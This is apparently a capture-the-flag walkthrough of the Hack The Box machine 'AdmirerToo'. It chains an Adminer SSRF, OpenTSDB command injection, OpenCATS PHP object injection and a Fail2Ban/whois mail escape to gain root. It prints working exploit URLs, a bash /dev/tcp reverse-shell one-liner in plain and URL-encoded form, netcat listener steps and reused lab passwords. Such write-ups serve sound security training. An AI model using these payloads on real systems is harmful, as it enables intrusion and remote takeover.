Hack-The-Box-walkthrough[admirertoo]
introduce
OS: Linux
Difficulty: Hard
Points: 40
Release: 15 Jan 2022
IP: 10.10.11.137
Enumeration
NMAP
1 | ┌──(root💀kali)-[~/hackthebox/machine/admiretoo] |
Nmap reveals two open ports and three filtered ports. Most of the time we don’t see filtered ports on HTB boxes, but there is a possibility that we might have to use these ports for specific exploit. Based on SSH version information, it’s safe to assume that it is a Debian OS.
- Filtered Port: Nmap cannot determine whether the port is open because packet filtering (firewall) prevents its probes from reaching the port. The filtering could be from a dedicated firewall device, router rules, or host-based firewall software. These ports frustrate attackers because they provide so little information. Sometimes they respond with ICMP error messages such as type 3 code 13 (destination unreachable: communication administratively prohibited), but filters that simply drop probes without responding are far more common. This forces Nmap to retry several times just in case the probe was dropped due to network congestion rather than filtering. This slows down the scan dramatically.
Let’s look in to the HTTP service.
There’s nothing much available on the webpage to begin with. Even after running Directory Brute Force on the page, there’s nothing interesting. However, if we hit any random page, which has 404 status code (not found). we will see generic error information.
If you check the source page of this 404, then we’d find a useful information.
1 | <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> |
As you can see, we have a domain name, which is quite different than usual. Most of the time the domain of any HTB box is the name of the machine, but this time we have a different one. Add this to hosts file. Let’s look for any vhost on this machine.
1 | ┌──(root💀kali)-[~/ffuf] |
We got one available vhost. Let’s add that to hosts file and check the webpage.
1 | 10.10.11.137 admirer-gallery.htb db.admirer-gallery.htb |
1 | http://db.admirer-gallery.htb/ |
We have access to database via web. Let’s enter and look for any interesting tables. just hit enter, and we are in…
The interesting part of this is, it didn’t ask for any ‘password’ to access after clicking ‘enter’ button. There’s only one table and nothing really interesting in that. The reason it didn’t ask for any credentials is, it has hard-coded them in this page and by-default it post them once we click on ‘enter’ button.
1 | <input type="hidden" name="auth[driver]" value="server"> |
I tried to use that password to login via SSH, but it didn’t work. But, ‘Adminer 4.7.8’ is being used for this service. There’s a vulnerability that exists on this version.
- CVE-2021-21311
Server-Side Request Forgery is possible to access an internal server/service.
SSRF in adminer
There’s a POC already available for this. Look into the PDF for POC. We need to setup a redirector on our Kali Linux machine.
- SSRF (Server Side Request Forgery)
We will use this below python code to do that.
1 | #!/usr/bin/env python3 |
Execute the python script.
1 | ┌──(root💀kali)-[~/hackthebox/machine/admiretoo] |
For this to work, we need to capture the request of logging into the DB in Burp Suite. Make sure not to send this to repeater.
1 | POST /?server=localhost HTTP/1.1 |
This is a default request. If we change ‘Auth Server’ value from ‘localhost’ to our ‘Kali IP address’ and forward the request to server, then we’d get this error.
1 | Connection refused |
So, we need to edit ‘Auth Driver’ value and ‘Auth Server’ value. According to POC PDF, we need to modify auth drive value to ‘elasticsearch’ and auth server value as our attacking machine’s IP address (Kali Linux).
‘Adminer’ support multiple database connection, MongoDB, MySQL, MSSQL, ElasticSearch, PostgreSQL, SqlLite and Oracle.
After changing the both values, I couldn’t get a hit on our python script. Then I looked into the source of ‘Adminer’.
- adminer/adminer/drivers/
All the driver names and it source is available in above link.
As you can see the source, the driver name is just ‘elastic’ not ‘elasticsearch’. This is the reason it didn’t work. Let’s change both values one more time.
1 | POST /?elasticsearch=10.10.14.8&username=admirer_ro&db=admirer HTTP/1.1 |
After changing values, forward the request to server and check the python script.
1 | ┌──(root💀kali)-[~/hackthebox/machine/admiretoo] |
As you can see, we got 302 (redirect) hits on python script. Now check the webpage.
We got the index.html source of target port 80. This simply means, we can access any locally running service. As we saw in our initial port scan that three ports are filtered. Let’s try to access them via SSRF. Setup redirector for any of the three filtered ports.
1 | ┌──(root💀kali)-[~/hackthebox/machine/admiretoo] |
Intercept the login request once again and check the webpage.
1 | <!DOCTYPE html><html><head><meta http-equiv=content-type content="text/html;charset=utf-8"><title>OpenTSDB</title> <style><!-- body{font-family:arial,sans-serif;margin-left:2em}A.l:link{color:#6f6f6f}A.u:link{color:green}.fwf{font-family:monospace;white-space:pre-wrap}//--></style><script type=text/javascript language=javascript src=s/queryui.nocache.js></script></head> <body text=#000000 bgcolor=#ffffff><table border=0 cellpadding=2 cellspacing=0 width=100%><tr><td rowspan=3 width=1% nowrap><img src=s/opentsdb_header.jpg><td> </td></tr><tr><td><font color=#507e9b><b></b></td></tr><tr><td> </td></tr></table><div id=queryuimain></div><noscript>You must have JavaScript enabled.</noscript><iframe src=javascript:'' id=__gwt_historyFrame tabIndex=-1 style=position:absolute;width:0;height:0;border:0></iframe><table width=100% cellpadding=0 cellspacing=0><tr><td class=subg><img alt="" width=1 height=6></td></tr></table></body></html> |
As you can see, we got the response and it reveals the title name as ‘OpenTSDB’.
OpenTSDB is a distributed, scalable Time Series Database (TSDB) written on top of HBase.
There four Vulnerabilities are present in OpenTSDB.
- Opentsdb : Security Vulnerabilities
Two of them are Code Execution. But we need to find the right version information of running application. To get version information, we can use the below endpoint.
1 | ┌──(root💀kali)-[~/hackthebox/machine/admiretoo] |
After setting the redirector for the version endpoint, capture the login request and modify it a previously and forward it to server.
1 | {"short_revision":"14ab3ef","repo":"/home/hobbes/OFFICIAL/build","host":"clhbase","version":"2.4.0","full_revision":"14ab3ef8a865816cf920aa69f2e019b7261a7847","repo_status":"MINT","user":"hobbes","branch":"master","timestamp":"1545014415"} |
Alright, we got the version information. It is using 2.4.0 and RCE via command injection exists in this version.
- CVE-2020-35476
The POC is already available for this vulnerability.
- OpenTSDB 2.4.0 Remote Code Execution
1 | http://opentsdbhost.local/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=%5B33:system(%27touch/tmp/poc.txt%27)%5D&wxh=1516x644&style=linespoint&baba=lala&grid=t&json |
he above is the demo link with payload which creates file in tmp directory. So we need to modify it according to our situation.
1 | python3 ssrf_redirect.py 80 'http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=%5B33:system(%27ping+-c+4+10.10.14.8%27)%5D&wxh=1516x644&style=linespoint&baba=lala&grid=t&json' |
First we need to set the redirector via python script to exploit the vulnerability and I am injecting ping command to check the vulnerability. I will setup a tcpdump to log the incoming ICMP requests.
1 | tcpdump -i tun0 icmp |
Then we need to trigger the SSRF via web. Make sure to modify the values and forward the request to server.
1 | {"err":"java.lang.RuntimeException: Unexpected exception\n\tat net.opentsdb.core.TSQuery.buildQueries(TSQuery.java:224) ~[tsdb-2.4.0.jar:14ab3ef]\n\tat net.opentsdb.tsd.GraphHandler.doGraph(GraphHandler.java:172) ~[tsdb-2.4.0.jar:14ab3ef]\n\tat net.opentsdb.tsd.GraphHandler.execute(GraphHandler.java:123) ~[tsdb-2.4.0.jar:14ab3ef]\n\tat net.opentsdb.tsd.RpcHandler.handleHttpQuery(RpcHandler.java:282) [tsdb-2.4.0.jar:14ab3ef]\n\tat net.opentsdb.tsd.RpcHandler.messageReceived(RpcHandler.java:133) [tsdb-2.4.0.jar:14ab3ef]\n\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.timeout.IdleStateAwareChannelUpstreamHandler.handleUpstream(IdleStateAwareChannelUpstreamHandler.java:36) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.timeout.IdleStateHandler.messageReceived(IdleStateHandler.java:294) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.http.HttpContentEncoder.messageReceived(HttpContentEncoder.java:82) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelHandler.handleUpstream(SimpleChannelHandler.java:88) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.http.HttpContentDecoder.messageReceived(HttpContentDecoder.java:108) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.http.HttpChunkAggregator.messageReceived(HttpChunkAggregator.java:145) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.Channels.fireMessageReceived(Channels.java:296) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.frame.FrameDecoder.unfoldAndFireMessageReceived(FrameDecoder.java:459) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.replay.ReplayingDecoder.callDecode(ReplayingDecoder.java:536) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.replay.ReplayingDecoder.messageReceived(ReplayingDecoder.java:435) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.Channels.fireMessageReceived(Channels.java:296) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.frame.FrameDecoder.unfoldAndFireMessageReceived(FrameDecoder.java:462) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.frame.FrameDecoder.callDecode(FrameDecoder.java:443) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.frame.FrameDecoder.messageReceived(FrameDecoder.java:303) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelHandler.messageReceived(SimpleChannelHandler.java:142) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelHandler.handleUpstream(SimpleChannelHandler.java:88) [netty-3.10.6.Final.jar:na]\n\tat net.opentsdb.tsd.ConnectionManager.handleUpstream(ConnectionManager.java:128) [tsdb-2.4.0.jar:14ab3ef]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:559) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.Channels.fireMessageReceived(Channels.java:268) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.Channels.fireMessageReceived(Channels.java:255) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.socket.nio.NioWorker.read(NioWorker.java:88) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.socket.nio.AbstractNioWorker.process(AbstractNioWorker.java:108) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.socket.nio.AbstractNioSelector.run(AbstractNioSelector.java:337) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.socket.nio.AbstractNioWorker.run(AbstractNioWorker.java:89) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.socket.nio.NioWorker.run(NioWorker.java:178) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.util.ThreadRenamingRunnable.run(ThreadRenamingRunnable.java:108) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.util.internal.DeadLockProofWorker$1.run(DeadLockProofWorker.java:42) [netty-3.10.6.Final.jar:na]\n\tat java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) [na:1.8.0_292]\n\tat java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) [na:1.8.0_292]\n\tat java.lang.Thread.run(Thread.java:748) [na:1.8.0_292]\nCaused by: com.stumbleupon.async.DeferredGroupException: At least one of the Deferreds failed, first exception:\n\tat com.stumbleupon.async.DeferredGroup.done(DeferredGroup.java:169) ~[async-1.4.0.jar:na]\n\tat com.stumbleupon.async.DeferredGroup.recordCompletion(DeferredGroup.java:142) ~[async-1.4.0.jar:na]\n\tat com.stumbleupon.async.DeferredGroup.access$000(DeferredGroup.java:36) ~[async-1.4.0.jar:na]\n\tat com.stumbleupon.async.DeferredGroup$1Notify.call(DeferredGroup.java:82) ~[async-1.4.0.jar:na]\n\tat com.stumbleupon.async.Deferred.doCall(Deferred.java:1278) ~[async-1.4.0.jar:na]\n\tat com.stumbleupon.async.Deferred.runCallbacks(Deferred.java:1257) ~[async-1.4.0.jar:na]\n\tat com.stumbleupon.async.Deferred.callback(Deferred.java:1005) ~[async-1.4.0.jar:na]\n\tat org.hbase.async.HBaseRpc.callback(HBaseRpc.java:720) ~[asynchbase-1.8.2.jar:na]\n\tat org.hbase.async.RegionClient.decode(RegionClient.java:1575) ~[asynchbase-1.8.2.jar:na]\n\tat org.hbase.async.RegionClient.decode(RegionClient.java:88) ~[asynchbase-1.8.2.jar:na]\n\tat org.jboss.netty.handler.codec.replay.ReplayingDecoder.callDecode(ReplayingDecoder.java:500) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.replay.ReplayingDecoder.messageReceived(ReplayingDecoder.java:435) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]\n\tat org.hbase.async.RegionClient.handleUpstream(RegionClient.java:1230) ~[asynchbase-1.8.2.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelHandler.messageReceived(SimpleChannelHandler.java:142) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelHandler.handleUpstream(SimpleChannelHandler.java:88) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.timeout.IdleStateAwareChannelHandler.handleUpstream(IdleStateAwareChannelHandler.java:36) ~[netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.timeout.IdleStateHandler.messageReceived(IdleStateHandler.java:294) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:559) [netty-3.10.6.Final.jar:na]\n\tat org.hbase.async.HBaseClient$RegionClientPipeline.sendUpstream(HBaseClient.java:3857) ~[asynchbase-1.8.2.jar:na]\n\t... 12 common frames omitted\nCaused by: net.opentsdb.uid.NoSuchUniqueName: No such name for 'metrics': 'sys.cpu.nice'\n\tat net.opentsdb.uid.UniqueId$1GetIdCB.call(UniqueId.java:450) ~[tsdb-2.4.0.jar:14ab3ef]\n\tat net.opentsdb.uid.UniqueId$1GetIdCB.call(UniqueId.java:447) ~[tsdb-2.4.0.jar:14ab3ef]\n\t... 34 common frames omitted\n"} |
After forwarding the request, we’d get this error page. The important part of this is mentioned at the end of the error.
The error is triggered because the ‘metrics’ which we used (sys.cpu.nice) is not available, so it couldn’t able to complete the code execution. So, we need to find the available ‘metrics’ on the application.
- OpenTSDB 2.4 documentation » HTTP API » /api/suggest
To find available metrics we have to use below endpoint.
1 | python3 ssrf_redirect.py 80 'http://127.0.0.1:4242/api/suggest?type=metrics' |
Then we need to trigger the SSRF via web. Make sure to modify the values and forward the request to server.
1 | ["http.stats.web.hits"] |
As you can see, there’s is only one metrics available in the application. Let’s modify our redirect link accordingly.
Now we need to trigger the SSRF via web. Make sure to modify the values and forward the request to server. Then check the tcpdump output for ICMP reply.
1 | ┌──(root💀kali)-[~/hackthebox/machine/admiretoo] |
1 | ┌──(root💀kali)-[~/hackthebox/machine/admiretoo] |
We got the response back, we have a working RCE chained with SSRF. Now it’s time to gain a shell. Make sure to URL encode your reverse shell one-liner, something like below.
1 | /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.8/9001 0>&1" |
url encoded:
1 | %2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%22%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%38%2f%39%30%30%31%20%30%3e%26%31%22 |
Setup the redirector one more time and execute the SSRF via login by modifying values, then check the netcat listener.
1 | ┌──(root💀kali)-[~/hackthebox/machine/admiretoo] |
1 | ┌──(root💀kali)-[~/hackthebox/machine/admiretoo] |
Privilege Escalation - User
1 | opentsdb@admirertoo:/home/jennifer$ cat user.txt |
We need to escalate our privileges to ‘Jennifer’ user. After running ‘Linpeas’ application, we will get database credentials.
1 | ╔══════════╣ Searching passwords in config PHP files |
This is not from OpenTSDB configuration file. But, from ‘OpenCats’ application directory.
1 | opentsdb@admirertoo:/opt/opencats$ ls |
OpenCATS is a completely free open source ATS. Designed for recruiters, OpenCATS provides basic ATS services such as candidate tracking, resume parsing, and job requisition and posting.
OpenCats is probably running on the machine and from it’s configuration file we got database credentials. Let’s login into DB and look for any passwords.
1 | opentsdb@admirertoo:/opt/opencats$ mysql -D cats_dev -u cats -padm1r3r0fc4ts |
We have user password, but they are stored in hashed format (MD5). I couldn’t able to crack the hashes. However, I found passwords in ‘admirer’ directory.
1 | opentsdb@admirertoo:~$ grep -iRl 'password' /var/www/adminer/ 2>/dev/null |
There are three files probably with saved passwords. But when I checked those files,those are not actual passwords. However, inside ‘plugins’ directory there’s another directory called ‘data’, it has another password.
1 | opentsdb@admirertoo:/var/www/adminer/plugins/data$ cat servers.php |
This password has reused for ‘Jennifer’ user’s login. Let’s ssh and read the user flag.
1 | jennifer:bQ3u7^AxzcB7qAsxE3 |
Let’s find any active services running on the machine.
1 | jennifer@admirertoo:~$ systemctl list-units --type=service |
Two services are suspicious, OpenCats and Fail2Ban. We have found the OpenCats directory previously. OpenCats is running on port 8080.
1 | jennifer@admirertoo:~$ curl localhost:8080 | grep opencats |
Let’s check Fail2Ban version.
1 | jennifer@admirertoo:~$ fail2ban-server -V |
It has a vulnerability in mailing action.
- Possible RCE vulnerability in mailing action using mailutils (mail-whois)
First look into Opencats. Let’s forward that port via SSH or however you like. I am forwarding that port to my machine on port 9000. Let’s visit the site.
1 | ssh -L 9000:127.0.0.1:8080 jennifer@10.10.11.137 |
The homepage gives us the version information, that is 0.9.5.2.
- CVE-2021-25294
OpenCATS through 0.9.5-3 unsafely deserializes index.php?m=activity requests,leading to remote code execution. This occurs because lib/DataGrid.php calls unserialize for the parametersactivity:ActivityDataGrid parameter. The PHP object injection exploit chain can leverage an __destruct magic method in guzzlehttp.
For this we need to authenticate first, I couldn’t crack the admin password.
1 | MariaDB [cats_dev]> select user_name,password,user_id from user\G |
However, we have access to it’s database, we can update the row of admin with our own password.
1 | 482c811da5d5b4bc6d497ffa98491e38:password123 |
Make sure to convert you desired password to MD5 hash. Once you update, you can login with the password.
We have access to admin dashboard. This below blog has explained how this attack works.
- OpenCATS PHP Object Injection to Arbitrary File Write
For this to work we need to switch to activities tab and click on ‘date’ and intercept the request in Burp Suite.
1 | GET /index.php?m=activity¶metersactivity%3AActivityDataGrid=a%3A8%3A%7Bs%3A10%3A%22rangeStart%22%3Bi%3A0%3Bs%3A10%3A%22maxResults%22%3Bi%3A15%3Bs%3A13%3A%22filterVisible%22%3Bb%3A0%3Bs%3A9%3A%22startDate%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22endDate%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22period%22%3Bs%3A37%3A%22DATE_SUB%28CURDATE%28%29%2C+INTERVAL+1+MONTH%29%22%3Bs%3A6%3A%22sortBy%22%3Bs%3A15%3A%22dateCreatedSort%22%3Bs%3A13%3A%22sortDirection%22%3Bs%3A3%3A%22ASC%22%3B%7D HTTP/1.1 |
According to the blog, activity parameter is vulnerable. So, we need to generate serialized exploit using PHPGGC and replace it with default one.
- PHPGGC: PHP Generic Gadget Chains
We don’t know where to upload the php webshell and which users permission will be applicable. So I tried to upload it on /dev/shm directory to find file perms.
1 | ┌──(root💀kali)-[~/hackthebox/machine/admiretoo] |
This is just a test file which will be dumped into ‘/dev/shm’ directory with user privileges.
As you can see the response is ‘HTTP 200 OK’, so It was successful. Let’s check the file permission.
1 | jennifer@admirertoo:/dev/shm$ ls -la |
So, it’s not root who’s permission is being used to run OpenCat’s. It’s ‘devel’.
1 | jennifer@admirertoo:/dev/shm$ grep 'devel' /etc/passwd |
This user don’t have any shell access, that’s the reason we didn’t get this when we ran which account has shell access. Let’s look into locations ‘devel’ has access to.
1 | jennifer@admirertoo:/dev/shm$ find / -group devel 2>/dev/null |
Two directories and one file. So, there’s no way we can get a reverse shell. So, let’s turn to Fail2Ban exploit.
- Possible RCE vulnerability in mailing action using mailutils (mail-whois)
According to this blog we can get code execution if we edit the /etc/hosts file and point to my own IP address. However, we don’t have permission to edit the hosts file, only root can edit it.
1 | jennifer@admirertoo:/dev/shm$ ls -la /etc/hosts |
But, we can put a whois configuration file in ‘/usr/local/etc’ directory and when we execute whois command it takes configuration file for processing.
1 | jennifer@admirertoo:/dev/shm$ cat /etc/fail2ban/jail.local |
This is the default configuration of jail (fail2ban), if any IP is banned then it sends an email to specified address.
1 | jennifer@admirertoo:/dev/shm$ cat /etc/fail2ban/jail.d/defaults-debian.conf |
It is enabled on SSH service. Let’s create whois.conf file on Kali machine first. Whois config file has to be in RegEx format, if not then it’d give you error like below.
1 | jennifer@admirertoo:~$ whois 10.10.x.x |
- whois
Below is the default format of uploaded file using OpenCats vulnerability.
1 | jennifer@admirertoo:~$ cat /dev/shm/hello.txt |
As you can see, my actual data is ‘hello’, but it also adds other data, which is part of the GuzzleHTTP Cookie. So to make a working config file with that, we need to use ‘vertical bar’ and ‘Dot’ of RegEx, just like below.
Vertical Bar: OR operator. Search for a match to the regular expression on either side of the vertical bar. Dot: Matches any single character.
1 | [{"Expires":1,"Discard":false,"Value":"}]|. [10.10.x.x]\n"}] |
But as we have already seen in hello.txt result, it has already appended the Guzzle data, so we need to create a file without that on your kali machine.
Step 1
1 | ┌──(root💀kali)-[~/hackthebox/machine/admiretoo] |
When we give this file to PHPGGC to serialize, it add the initial part and end part to it. Let’s serialize the configuration file.
Step 2
1 | ┌──(root💀kali)-[~/hackthebox/machine/admiretoo] |
Now before we pass this to OpenCats, we need to create our reverse shell payload on Kali Linux
Step 3
1 | ┌──(root💀kali)-[~/hackthebox/machine/admiretoo] |
The ‘~|’ escape pipes the message composed so far through the given shell command and replaces the message with the output the command produced. If the command produced no output, mail assumes that something went wrong and retains the old contents of your message.
Step 4
1 | ┌──(root💀kali)-[~/hackthebox/machine/admiretoo] |
Listening on Port 43. This port is reserved for ‘whois protocol’
Using ‘-c’ switch to run shell commands after successful connection and providing our payload to run it
If you are wondering why we are using port 43, it’s because when we execute whois command from target machine to our IP address, it use port 43 to connect our IP address and if our IP doesn’t have that port open then it fails. See this below example of whois query.
Above is the whois query to google server. As you can see, my machine sends an initial syn packet to whois server IP on port 43 TCP.
So, the idea basically is we are redirecting whois request to our Kali Linux machine (IP) rather than actual whois server and when we get hit on our whois port, we run shell commands to exploit the Fail2Ban vulnerability.
Step 5
1 | ┌──(root💀kali)-[~] |
Setup a netcat listener for actual reverse shell. Now we are almost ready.
Step 6
Now we need to pass the serialized cookie via Burp Suite, just like we did previously.
Step 7
Check the dumped file from target machine.
1 | jennifer@admirertoo:/dev/shm$ cat /usr/local/etc/whois.conf |
We got the config file on target. This config file gets removed after every five minutes.
Step 8
Run whois from target machine.
1 | jennifer@admirertoo:/dev/shm$ whois 10.10.14.8 |
Make sure to use your own IP address. After executing that we got a hit on port 43 netcat listener.
1 | ┌──(root💀kali)-[~/hackthebox/machine/admiretoo] |
At this moment our payload is already delivered to target machine, now we need to trigger Fail2Ban application via failed SSH attempts.
Step 9
1 | ┌──(root💀kali)-[~/hackthebox/machine/admiretoo] |
just enter 3 wrong password is fine… you will get a reverse connection on Netcat listener.
1 | ┌──(root💀kali)-[~] |
Make sure to get root flag or whatever as quick as possible, the shell is unstable and it gets disconnected.
Summary of knowledge
- vhost fuzz with ffuf
- SSRF redirect in adminer (CVE-2021-21311)
- OpenTSDB 2.4.0 Remote Code Execution (CVE-2020-35476)
- password reused
- Possible RCE vulnerability in mailing action using mailutils(mail-whois)(CVE-2021-25294)
- OpenCATS PHP Object Injection to Arbitrary File Write
- PHPGGC: PHP Generic Gadget Chains generate exploits
- privesc through Modify the /usr/local/etc/whois.conf and whois command
Contact me
- QQ: 1185151867
- twitter: https://twitter.com/fdlucifer11
- github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…